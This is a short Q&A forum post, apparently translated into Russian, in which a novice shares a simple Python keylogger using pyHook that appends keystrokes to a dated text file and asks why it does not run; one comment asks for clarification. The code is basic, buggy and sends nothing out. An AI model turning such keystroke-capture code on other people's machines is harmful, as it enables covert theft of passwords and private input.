Python Keylogger с некоторыми функциями

Я только начал программировать на Python. Мой первый «проект» - кейлоггер. Я прочитал несколько строк кода, размещенных здесь и на других форумах. Я написал этот код, который должен регистрировать нажатые клавиши и начинать новую строку в файле .txt каждый раз, когда нажимается клавиша ввода. Может кто-нибудь дать мне совет?

import pythoncom, pyHook
from datetime import datetime
date_today = datetime.now().strftime('%Y-%b-%d')
file_log = 'C:\\Users\\admin\\Desktop\\Python\\logs\\'+date_today+'.txt' 

def OnKeyboardEvent(event):
    if event.Ascii:
        log = open(file_log,"a")
        char = chr(event.Ascii)
        if event.Ascii == 13:
            log.write('\n')
        log.write(char)

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent()
hm.HookKeyboard()
pythoncom.PumpMessages()

Спасибо и всего наилучшего!

Изменить: файл не запускается, так как при запуске не создается новый процесс или файл журнала.


person m3zli    schedule 24.11.2016    source источник
comment
Совет по чему? Что-то не работает?   -  person TigerhawkT3    schedule 24.11.2016


Ответы (1)